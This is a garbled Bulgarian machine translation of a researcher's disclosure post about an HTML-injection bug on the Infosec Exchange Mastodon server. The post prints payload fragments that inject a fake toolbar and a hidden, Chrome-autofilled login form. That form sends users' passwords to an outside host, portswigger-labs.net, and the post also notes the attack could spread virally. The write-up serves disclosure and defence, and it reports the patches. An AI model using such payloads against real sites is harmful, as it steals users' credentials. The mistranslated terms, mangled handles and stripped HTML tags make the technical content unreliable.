Откраднете пароли от Infosec Mastodon – без да заобикаляте CSP

Записът, който се появява Кликнете върху фалшива лента с инструменти на Mastodon, за да покажете уязвимост при инжектиране на HTML, която ви позволява да откраднете идентификационни данни

Историята за това как мога да открадна идентификационни данни на Infosec Mastodon с уязвимост при инжектиране на HTML, без да се налага да заобикалям CSP.

Всички в нашата емисия в Twitter изглежда скачат към кораба Обмен на информация Mastodon сървър, така че реших да видя за какво е целият този шум. След като разбрах защо трябва да имате толкова много @ символи в потребителското си име, започнах да разглеждам колко е сигурно. Ако ме следвате в Twitter, ще знаете, че обичам да публикувам вектори и да тествам границите на приложението, което използвам, и днес не беше изключение.

Първо започнах да тествам дали се поддържа HTML или Markdown. Направих няколко „туита“, за да видя дали можете да получите блоковете код (колко страхотно е това?), но изглежда нищо не работи. Тоест дори @ret2bed Посочи, че можете да промените предпочитанията си, за да активирате HTML! Тези правилни хора, социална мрежа, която ви позволява да публикувате HTML – какво може да се обърка?

Активирах това удобно предпочитание и повторих тестовете си. Markdown изглеждаше много ограничен. Основно се надявах на блокове код, но не се случи. Преминах на Test HTML и тествах основни неща като удебелени тагове, които изглежда работят в мрежата, но не и на мобилни устройства. докато тествах, @туит Даде ми връзка към техния HTML филтър Източник на код И той ми показа интересен вектор, където те декодираха обекти.

Това ми даде усещането, че HTML филтърът на тази платформа не е най-добрият. Проучих изходния код и открих, че той поддържа няколко различни теми. Това, което изглеждаше обещаващо, беше атрибутът „заглавие“, може би бих могъл да включа тагове там и извън? Направих частен “туит”, за да видя дали работи:

Въведете:

title="">test

произвеждат:

title="">test

Съдържанието на темата е запазено същото. това беше страхотно. Тя ми даде полезен товар, който да използвам, ако намеря изход от темата! Използвайки стенограмата, потърсих единични и двойни кавички, като и двете се поддържаха – въпреки че изглежда, че единичните кавички се преобразуват в двойни кавички, опитах и ​​атрибутите без граници, но те изглежда бяха премахнати. След много различни частни “туитове” не можах да намеря изход от темата.

Забелязах, че няколко души са проверени Код за потвърждение от тяхно име и след като зададох няколко въпроса на много услужливата общност, разбрах, че ако използвам text:checked: той ще бъде заменен с икона.

Въведете:

:verified:

произвеждат:

draggable="false" class="emojione custom-emoji" alt=":verified:">

Иконата беше img таг и имаше кавички в нея, така че може би мога да използвам това? сложих :verified: Низ в текстов възел на котва, който е в атрибута заглавие:

Въведете:

title=">

произвеждат:

title=" false" ... > src=//garethheyes.co.uk/>

За моя изненада се получи! Проверих HTML с devtools – оттук мога да видя, че се показва iframe и моят сайт, зареден, когато се показва ‘tweet’, благодарение на директивата lax frame-src, позволяваща всеки https: URL.

Филтърът беше напълно съсипан, тъй като можех да въвеждам само произволен HTML, но имаше едно последно нещо, което стоеше на пътя ми: те използваха относително строг елемент Политика за сигурност на съдържанието. Почти всеки ресурс беше ограничен до infosec.exchange, с изключение на iframes, които позволяваха всеки HTTPS URL.

Опитах да кача файлове и да кодирам типовете съдържание, за да видя дали модерните браузъри Разрешете изображенията да се показват като текст – Сега не гледат. Прекарах следващата сутрин в търсене на начини да заобиколя политиката или в търсене на инструменти.

Времето за заобикаляне на CSP изтече, @туит Той ми предложи да опитам да открадна пароли с помощта на формуляри. Разбира се, можете да инжектирате елементи на формуляр, така че насочих формуляра към portwigger-labs.net и тествах дали изпращането на формуляра работи. Направих, така че мога да симулирам формата за влизане.

Следващият ми тест беше автоматичното попълване на Chrome – паролата ще бъде ли автоматично попълнена от Chrome? Разбира се, той ще направи това без никаква намеса на потребител! Сега имах паролата и можех да направя завладяващ бутон с възможност за щракване, така че показах на Джеймс. Имаше много лоша идея – слава Богу, че всъщност не е зъл – какво ще стане, ако подправя лентата с инструменти под “туит”? Той подмени лентата с инструменти доста лесно, но записите с потребителското име и паролата бяха видими, което го направи по-малко убедителен.

Почти сега… Тествах Chrome, за да видя дали ще продължи да попълва автоматично идентификационни данни, когато въведените данни не се виждат. Ако използвате нулева стойност на непрозрачност, Chrome пак ще попълни идентификационните данни адекватно. Но изчакайте – не мога да използвам вградени стилове поради CSP. Разгледах CSS файловете с надеждата да намеря клас с opacity: 0 и намерих такъв след няколко секунди. Приложих класа към входа и той работи перфектно:

title=":verified:
action=//portswigger-labs.net/mastodon-demo>
name=username class=react-toggle-track-check>
type=password name=password class=react-toggle-track-check>

class='status__action-bar'> type=submit aria-label='Reply' title='Reply' class='status__action-bar-button icon-button' tabindex='0'>
role='img' class='fa fa-reply fa-fw' aria-hidden='true'>

type=submit aria-label='Boost' aria-pressed='false' title='Boost' class='status__action-bar-button icon-button' tabindex='0' > role='img' class='fa fa-retweet fa-fw' aria-hidden='true'>
type=submit aria-label='Favourite' aria-pressed='false' title='Favourite' class='status__action-bar-button star-icon icon-button' tabindex='0'> role='img' class='fa fa-star fa-fw' aria-hidden='true'>
type=submit aria-label='Bookmark' aria-pressed='false' title='Bookmark' class='status__action-bar-button bookmark-icon icon-button' tabindex='0'>
role='img' class='fa fa-bookmark fa-fw' aria-hidden='true'> class='status__action-bar-dropdown'> type=submit aria-label='Menu' title='Menu' class='icon-button' tabindex='0'> role='img' class='fa fa-ellipsis-h fa-fw' aria-hidden='true'>


">

Тази атака може лесно да се мащабира към вируса, като се съберат идентификационните данни и повторно разпределение на вектора за всеки потребител.

Ако искате да опитате подобен експлойт за себе си, опитайте нашата лаборатория Откраднати пароли за автоматично попълване.

заключение

Тази уязвимост ни беше докладвана от Mastodon, който първоначално предположи, че грешката може да е специфична за бъг вилка Използва се от борсата Infosec. След това обаче пуснаха Mastodon 4.0.1, 3.5.5 и 3.4.10, за да смекчат проблема. След обсъждане на това с разработчика на Glitch, основният Mastodon не беше уязвим за тази конкретна атака, тъй като не позволява атрибути на заглавие. Все още беше закърпен, за да коригира заместването на заместител като:checked:.

Това беше представа за това как модерните смекчаващи мерки на браузъра могат да предотвратят някои атаки срещу приложения от реалния свят. Въпреки това, той също така подчертава как тези смекчаващи мерки могат да бъдат избегнати и все още да водят до кражба на идентификационни данни. Директивата за формуляра за действие може да предотврати тези типове атаки и потребителят да взаимодейства при попълване на пароли също е добра идея. Не забравяйте да проследите @ gaz @ infosec обмен И на @albinowax @infosec обмени се уверете, че двуфакторното удостоверяване е включено. Обещаваме да не крадем вашата парола. Очакваме с нетърпение да видим как ще завърши битката между Twitter и Mastodon. Засега ще публикуваме и на двете платформи.

разписание

Вторник, 8 ноември, 18:38 – Прескочен HTML филтър, докладван на Mastodon
Вторник, 8 ноември, 19:47 – Докладът премина
Четвъртък, 10 ноември, 07:37 – Фиксирана грешка
Понеделник, 14 ноември, 19:48 – Коригиран мастодонт
Вторник, 15 ноември, 08:00 – Беше потвърдено, че infosec.exchange е приложил корекцията
Вторник, 15 ноември, 14:00 – Блогът е публикуван

Назад към всички статии